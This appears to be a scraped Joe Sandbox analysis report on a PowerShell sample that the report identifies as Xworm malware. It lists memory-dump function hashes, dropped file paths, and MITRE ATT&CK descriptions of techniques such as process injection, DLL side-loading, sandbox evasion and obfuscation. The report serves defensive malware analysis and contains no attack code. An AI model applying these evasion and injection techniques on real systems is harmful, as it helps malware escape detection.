Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID: $>f
API String ID: 0-2253003967
Opcode ID: daba982f359bfdbb9b687ad9438c9e2cebabd8578fdb05e0b018c0cee1766573
Instruction ID: fe60154bcbc04fe4cc7fb012c1ace27f714466f8dffae5ab36f4ed8a836da282
Opcode Fuzzy Hash: daba982f359bfdbb9b687ad9438c9e2cebabd8578fdb05e0b018c0cee1766573
Instruction Fuzzy Hash: E3A14E34A10215CFDB58DF64C994A9AB7B2FF89300F1081E9E50AAB3A1DF719E85CF41

Function 02BF2B50 Relevance: 1.4, Strings: 1, Instructions: 111COMMON

Download Yara Rule

Strings

P/q1, xrefs: 02BF2B9F

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID: P/q1
API String ID: 0-3198327278
Opcode ID: 0f8e9189f7a4ad189061436f1d6c2a2b0750f9602913a4ffcc053a32da626696
Instruction ID: 4a21f7b05f43f321cfbd445ef5a4fa411146b9cfc15f083ceaa4595f2538400c
Opcode Fuzzy Hash: 0f8e9189f7a4ad189061436f1d6c2a2b0750f9602913a4ffcc053a32da626696
Instruction Fuzzy Hash: 5C41B031A00205CFC7A4CF79C985A6BBBF2FF84350F1588AAE95ADB655D230E949CF01

Function 05603B39 Relevance: .5, Instructions: 518COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e92854dcef36cbe5ea8b62221edb5339d1c1cbc993b50cf767e77d23787b1275
Instruction ID: fcfa0d371e9405b67f737c3a9bf0c70637bcdfbc41b584cf519424eab1f947fd
Opcode Fuzzy Hash: e92854dcef36cbe5ea8b62221edb5339d1c1cbc993b50cf767e77d23787b1275
Instruction Fuzzy Hash: 40225F30B002059FCB28DF69C584AAEBBF2BF88315F149959E906DB7A1DB31ED41CB50

Function 02BF5548 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb204aee1810ffb2fea723be90158bd6a6eef92dcf7846a3b350c52e2ad7faf
Instruction ID: 39d7a0efc9f6df28a05cb1cd4752757d2caabb3d155b5382eadf129d3586390a
Opcode Fuzzy Hash: adb204aee1810ffb2fea723be90158bd6a6eef92dcf7846a3b350c52e2ad7faf
Instruction Fuzzy Hash: 97B11470E082148FC765CB68C49176EFBF6AFC9300B98C5AAE556DB266C770EC45CB90

Function 02BF5121 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc338ed34fe0f48f146c89f3f5087d5562f0cebdbfcc7562333a634d90ea5d9
Instruction ID: d2ba2c509db38079e3ee9193d7e61c711fbfc05b8227974ff2a6af114dcc8a22
Opcode Fuzzy Hash: 2fc338ed34fe0f48f146c89f3f5087d5562f0cebdbfcc7562333a634d90ea5d9
Instruction Fuzzy Hash: 35B1E430A042108FCBA9CB69C5A466EFBF6EFC5300B58C5AAD556DB269C730ED85CB50

Function 02BF5148 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec1a5301f68f3ff620b664beb438af70987d93c14fb915906f14b830d201b27
Instruction ID: bb209af02cd2be04c6316d21eb9faf0ece05e6a723d584e6b97a14e6619a7e3b
Opcode Fuzzy Hash: 9ec1a5301f68f3ff620b664beb438af70987d93c14fb915906f14b830d201b27
Instruction Fuzzy Hash: B1A1E430B042108BDB69CB6DC59466EFBF6EFC5300B98C5AAD156DB268C770ED85CB50

Function 02BF5538 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9753b8aca22fa128d92b10beff7d8ecb2a19f9e53858380649f83e3ea3d40c7
Instruction ID: 38a794e20481370d233eec4e5a1282c2b5480dcb27c37adcb8e5c9c2a4717d6a
Opcode Fuzzy Hash: d9753b8aca22fa128d92b10beff7d8ecb2a19f9e53858380649f83e3ea3d40c7
Instruction Fuzzy Hash: B7A1C170E042148FCB65CB68C49076EFBF6AFC9300B54C9AAE156DB265C770EC45CB90

Function 02BF6698 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 381da3754f4f772be5ad8e151e93591c1d14d72dda515eba79f4a67f4ec7f65d
Instruction ID: b0b0604dd37689655947279ed33676d5c68fc6b5a93e66f1e762f2cdfc5c79b1
Opcode Fuzzy Hash: 381da3754f4f772be5ad8e151e93591c1d14d72dda515eba79f4a67f4ec7f65d
Instruction Fuzzy Hash: 7E818034B002189BDB5CAF75885467E77BBBFCC750B05C56DE966EB288CE34880AC791

Function 02BF42D9 Relevance: .3, Instructions: 259COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 875b9ac8297bd691bd7d1f79e4492c2531e068ff11fd9ece7e9b056d569f37e0
Instruction ID: 1e8fc91a06f45c6d15dbe065e9ae7e6d98bcc2c4c732be5aa62a70888d25aa7d
Opcode Fuzzy Hash: 875b9ac8297bd691bd7d1f79e4492c2531e068ff11fd9ece7e9b056d569f37e0
Instruction Fuzzy Hash: 04A1A230A042148FCB95CB69D58067FFBF2AFC6300B15D9AAD666E7655C730EC48CB54

Function 02BF35B0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61713748b4bcdd681ca169c83560bb8f0e2c9bd91c2c46053b684727d217f70
Instruction ID: 279efff0f0ddcebb02b3a45d5c33933a5e416b2ebb912fef0fc74a1bdad30cbc
Opcode Fuzzy Hash: c61713748b4bcdd681ca169c83560bb8f0e2c9bd91c2c46053b684727d217f70
Instruction Fuzzy Hash: 3E71F9B6F182958FCB84CF6CC9819AEFFF5AB85210F1180E6D605EB351C634DA49CB91

Function 02BF36D0 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cabc9e58e369ef88b51731538094c585451b3508e72833baad127f19cd534e50
Instruction ID: 28437e473e6893a96b064c6fa3d9431379d2a0988175e2ccd1f16ce5cc4cc836
Opcode Fuzzy Hash: cabc9e58e369ef88b51731538094c585451b3508e72833baad127f19cd534e50
Instruction Fuzzy Hash: 8041A3B5E1429A8FCB84CF5CC9859AEBBF5EB88204F0181E6D506EB650C334DA44CB91

Function 02BF2B40 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6ffcc3a90660531eacc5d24ab41ee5ef317652f12fe0543dd4c1731c9e12f8c
Instruction ID: 8d4f35a4343306e57c4d078086744be589640bf56de7eaa8833527b6b9b05d93
Opcode Fuzzy Hash: c6ffcc3a90660531eacc5d24ab41ee5ef317652f12fe0543dd4c1731c9e12f8c
Instruction Fuzzy Hash: B841F431A04205CFC7A4CF79C981A6ABBF1FF84310F1588AAD95ADB661D234E948CF01

Function 05608B1F Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22c81e77c006f428ae4276e52d64b9ad8f020c1737b5aa83f90e8470ba101530
Instruction ID: 1787d67c5b0efc221530e7760279e2567ae73a84c0b6e51b9541ded95ead784b
Opcode Fuzzy Hash: 22c81e77c006f428ae4276e52d64b9ad8f020c1737b5aa83f90e8470ba101530
Instruction Fuzzy Hash: D641C370614209CFDB18EF38D8957AEB677ABC9340F1094BA850AEB391CB348E41CF51

Function 05608A8A Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a654375a9f482cad9f217d325fb08ba5e016b49211c45575780b446ea688475
Instruction ID: b87e28f8879280663c41164bc8b85321170c0ae35bfb4c803f0697844f93db8b
Opcode Fuzzy Hash: 1a654375a9f482cad9f217d325fb08ba5e016b49211c45575780b446ea688475
Instruction Fuzzy Hash: 77419470A04219CFDB68DF24D8917AFB776AB89340F1094AAC50AAB791CB35CE42DF51

Function 05608ADF Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3163684374.0000000005600000.00000040.00000800.00020000.00000000.sdmp, Offset: 05600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5600000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39539442b137b4bfd74fafd9fba817a3c7d398aff87ddce84451642b18b6fd50
Instruction ID: 9110660d9b5f697bcff882dc1af987bee8a8c4dd40798821a871cfd7597b1f71
Opcode Fuzzy Hash: 39539442b137b4bfd74fafd9fba817a3c7d398aff87ddce84451642b18b6fd50
Instruction Fuzzy Hash: 9C41B47070421ACFDB68DF24D8917AEB776AB85340F1094BAC50AAB391CB35CE41DF51

Function 02BF35A0 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3155921895.0000000002BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bf0000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f188e075f3a3871f666bf8187ad2d179b5dc4e31823f9c1fc987e5db0a151d38
Instruction ID: 08ab1c9c3b2f6e70dbbb4e58a29fd7b43e89a1e279bfc39943ca5f77e16ce505
Opcode Fuzzy Hash: f188e075f3a3871f666bf8187ad2d179b5dc4e31823f9c1fc987e5db0a151d38
Instruction Fuzzy Hash: 0E21D672F192469BCB84CF59C5855AEFBB5BBC5310F1084E7C615EB252DA30DA09CB82

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report QP2uO3eN2p.ps1

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_RegSvcs.exe_6ffd24152b5e9a3a3eb1fb64c4ad5c89541278d_74bcc9ed_4ba80e18-6159-4399-8440-5c696cf9801a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\Critical_powershell.exe_cff3fccfaef89fe97e70f334411924bd667e9abb_00000000_807c381f-279d-45a8-887e-ccd7dafd6f29\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER58DA.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A33.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5A63.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB24.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFB63.tmp.xml

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ghocidx0.svd.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_raxan3yr.n0w.ps1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8WO0IPY70FDO0YM18CNP.temp

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

Windows Analysis Report
QP2uO3eN2p.ps1

Function 05607534 Relevance: 3.5, Strings: 2, Instructions: 1021
COMMON

Function 02BFBF08 Relevance: 1.5, Strings: 1, Instructions: 281
COMMON

Function 05603410 Relevance: .4, Instructions: 440
COMMON